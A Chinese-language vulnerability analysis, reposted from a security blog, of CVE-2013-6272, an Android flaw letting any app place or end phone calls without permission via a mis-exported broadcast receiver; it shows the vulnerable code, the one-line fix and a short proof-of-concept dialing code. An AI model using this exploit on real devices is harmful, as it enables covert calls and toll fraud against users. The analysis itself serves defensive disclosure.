原文:http://blogs.360.cn/360mobile/2014/07/08/cve-2013-6272/

1. CVE-2013-6272漏洞背景

CVE-2013-6272是一个安卓平台电话拨打权限绕过漏洞。该漏洞实际上是柏林的安全研究机构curesec在2013年底发现并秘密报告给google的,而并不是是某国内团队发现的。

Curesec同一时候也是安卓锁屏绕过漏洞(CVE-2013-6271)的发现者。Curesec于2014年7月4日公开了一个拨打电话相关的漏洞[1],我们对这个漏洞进行了分析。

这个漏洞在android 4.1.1版本号中被引入。在4.4.3版本号中被修复,手机系统版本号仍停留在4.1.1~4.4.2的机型都收到了影响。

2. Android受影响版本号

依据已经公开的信息和我们对于AOSP changelog的分析,该漏洞影响分布情况例如以下:

Android版本号

SDK 版本号

是否受影响

4.1.1

16

4.1.2

16

4.2.2

17

4.4.2

19

4.4.3或更高

19

3. 漏洞的危害

没有申明call_phone权限的应用无需交互能够拨打随意电话。随意应用能够挂断当前正在进行的通话。

而用户对此毫不知情。

4.漏洞原理

此漏洞主要是由于一个误导出的BroadCastReceiver:com.android.phone.PhoneGlobals$NotificationBroadcastReceiver

让我们看下NotificationBroadcastReceiver的源代码[3]

public static class NotificationBroadcastReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String action = intent.getAction();
        // TODO: use "if (VDBG)" here.
        Log.d(LOG_TAG, "Broadcast from Notification: " + action);
        if (action.equals(ACTION_HANG_UP_ONGOING_CALL)) {
            PhoneUtils.hangup(PhoneGlobals.getInstance().mCM);
        else if (action.equals(ACTION_CALL_BACK_FROM_NOTIFICATION)) {
            // Collapse the expanded notification and the notification item itself.
            closeSystemDialogs(context);
            clearMissedCallNotification(context);
            Intent callIntent = new Intent(Intent.ACTION_CALL_PRIVILEGED, intent.getData());
            callIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK
                    | Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS);
            context.startActivity(callIntent);
         else if (action.equals(ACTION_SEND_SMS_FROM_NOTIFICATION)) {
            // Collapse the expanded notification and the notification item itself.
            closeSystemDialogs(context);
            clearMissedCallNotification(context);
            Intent smsIntent = new Intent(Intent.ACTION_SENDTO, intent.getData());
            smsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            context.startActivity(smsIntent);

这个reveiver处理3种类型的intent,由于NotificationBroadcastReceiver是导出的而且没有做不论什么的权限限制,随意应用都能够发intent来调用这个BroadcastReceiver.

这3类intent的危害

Intent 危害
ACTION_HANG_UP_ONGOING_CALL 挂断当前的通话
ACTION_CALL_BACK_FROM_NOTIFICATION 拨打随意电话
ACTION_SEND_SMS_FROM_NOTIFICATION 发送短信,但须要用户交互。没太大危害

利用此漏洞拨打电话的代码

public void onClick(View view) {
    Toast t = Toast.makeText(getBaseContext(),
              "Testing call without permissions now!",
                Toast.LENGTH_LONG);
    t.show();
    Intent intent = new Intent();
    intent.setComponent(new ComponentName(
            "com.android.phone",
              "com.android.phone.PhoneGlobals$NotificationBroadcastReceiver"));
    intent.setAction("com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION");
    intent.setData(Uri.parse("tel:31337"));
    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    getBaseContext().sendBroadcast(intent);
}

5. 产生漏洞的主要原因

产生此漏洞的原因非常有趣,由于android开发者的疏忽,本来限制

BroadcastReceiver导出应该在其标签中加上属性android:exported=”false”,但开发者漏掉了”android:”。写成了exported=”false”,这种属性是不起作用的,而包括有intent filters的BroadcastReceiver默认是导出的,从而导致这个BroadcastReceiver被误导出。

6.漏洞修复

此漏洞的修复非常easy,其diff[3]例如以下:

        <!-- BroadcastReceiver for receiving Intents from Notification mechanism. -->
-        <receiver android:name="PhoneGlobals$NotificationBroadcastReceiver" exported="false">
+        <receiver android:name="PhoneGlobals$NotificationBroadcastReceiver" android:exported="false">
             <intent-filter>
                 <action android:name="com.android.phone.ACTION_HANG_UP_ONGOING_CALL" />
                 <action android:name="com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION" /

眼下我们尚未捕获到利用此漏洞拨打电话的恶意样本。可是该漏洞的原理及利用代码已经开源。所以有可能在未来被恶意利用。我们将会持续关注此漏洞并提供可能的解决方式。

參考:

[1]https://android.googlesource.com/platform/packages/services/Telephony/+/79fc3b3%5E%21/

[2]http://blog.curesec.com/article/blog/35.html

[3]http://androidxref.com/4.4_r1/xref/packages/services/Telephony/src/com/android/phone/PhoneGlobals.java#1128

Android电话拨打权限绕过漏洞(CVE-2013-6272)分析的更多相关文章

  1. Python 实现 Discuz论坛附件下载权限绕过漏洞

    背景:最近压力有些大,想玩点游戏放松下,去Mac论坛下载,发现需要各种权限,于是蛋疼了. 所以,上网查了discuz! x3.1破解,手动替换,发现出现“链接已过期”.所以写了下面程序. 0.将下列代 ...

  2. linux sudo root 权限绕过漏洞(CVE-2019-14287)

    0x01 逛圈子社区论坛 看到了 linux sudo root 权限绕过漏洞(CVE-2019-14287) 跟着复现下 综合来说 这个漏洞作用不大  需要以下几个前提条件 1.知道当前普通用户的密 ...

  3. Couchdb 垂直权限绕过漏洞(CVE-2017-12635)漏洞复现

    couchdb简介: Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为“完全拥抱web的数据库”.它是一个使用JSON作为数据存储格式,javascript作为查询语言,M ...

  4. CVE-2017-12635(Couchdb垂直权限绕过漏洞)

    简介 Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapRedu ...

  5. broadAnywhere:Broadcast组件权限绕过漏洞(Bug: 17356824)

    原创内容,转载请注明出处 http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html Lolipop源代码已经放出有些日 ...

  6. PJzhang:CVE-2019-14287 sudo权限绕过漏洞复现

    猫宁!!! 参考链接:Ms08067实验室公众号 sudo 1.8.28版本之前有漏洞. 更新完kali linux,deepin截图工具失效,只能用自带的,不能划重点. 看一下sudo版本,1.8. ...

  7. SaltStack 水平权限绕过漏洞(CVE-2020-11651)

    影响版本 SaltStack < 2019.2.4 SaltStack < 3000.2 poc git clone https://github.com/jasperla/CVE-202 ...

  8. Couchdb 垂直权限绕过漏洞(CVE-2017-12635)

    影响版本:小于 1.7.0 以及 小于 2.1.1 首先,发送如下数据包: 修改数据包 { "type": "user", "name": ...

  9. Linux sudo权限绕过(CVE-2019-14287)

    2019年10月14日,Sudo官方发布了Sudo 1.8.28版本,其中包含sudo root权限绕过漏洞的补丁修复. 此漏洞编号是CVE-2019-14287,当sudo配置为允许用户以任意方式运 ...

随机推荐

  1. 【20181103T2】图【结论+bfs最短路】

    一眼最短路 --感觉是个结论啊 建超级源汇? 什么鬼 合并ab和cd? 不一样的吗 开始想的至少有一条路径是最短路 然后发现不对: 开始对着这个图瞎想 从B开始找A的最短路,然后把到B小于等于的边赋成 ...

  2. 【20181102T2】飞越行星带【智商题+最小瓶颈路】

    题面 [正解] 一眼不可做啊 --相当于求路线上穿过的点最小距离最大 最小最大--二分啊 现在相当于给一个直径,要判断这个直径是否能从左边穿到右边 我们可以在距离不超过直径的点连一条边,\(y=0\) ...

  3. 【BZOJ】2760: [JLOI2011]小A的烦恼【字符串模拟】

    2760: [JLOI2011]小A的烦恼 Time Limit: 10 Sec  Memory Limit: 128 MBSubmit: 406  Solved: 258[Submit][Statu ...

  4. 索引式优先队列(indexed priority queue)

    为了达到O(ElogV)的效率,需要对普利姆算法进行eager实现. 如果我们用java来做,jdk当中的priorityQueue并不能满足我们的要求. 因为我们需要进行一个对索引元素降key的操作 ...

  5. How to Run Syncthing 24/7 as a Windows Service with AlwaysUp

    http://www.coretechnologies.com/products/AlwaysUp/Apps/RunSyncthingAsAWindowsService.html Automatica ...

  6. JQUERY AJAX无刷新异步上传文件

    AJAX无刷新上传文件并显示 http://blog.csdn.net/gao3705512/article/details/9330637?utm_source=tuicool jQuery For ...

  7. MVC使用Dotnet.HighCharts做图表01,区域图表

    如果想在MVC中使用图表显示的话,DotNet.HighCharts是不错的选择.DotNet.HighCharts是一个开源的JavaScript图表库,支持线型图表.柱状图标.饼状图标等几十种图标 ...

  8. xml转换成map

    import java.io.IOException;import java.io.StringReader;import java.util.ArrayList;import java.util.H ...

  9. 聊聊高并发(十四)理解Java中的管程,条件队列,Condition以及实现一个堵塞队列

    这篇里面有一些主要的概念,理解概念是件有意义的事情,仅仅有理解概念才干在面对详细问题的时候找到正确的解决思路.先看一下管程的概念 第一次在书上看到管程这个中文名称认为非常迷糊,管程究竟是个什么东东,于 ...

  10. jQuery元素属性attr设置多个键值或函数 删除属性removeAttr

    $("Element").attr(name) '取得第一个匹配的属性值,比如$("img").attr("src") $("El ...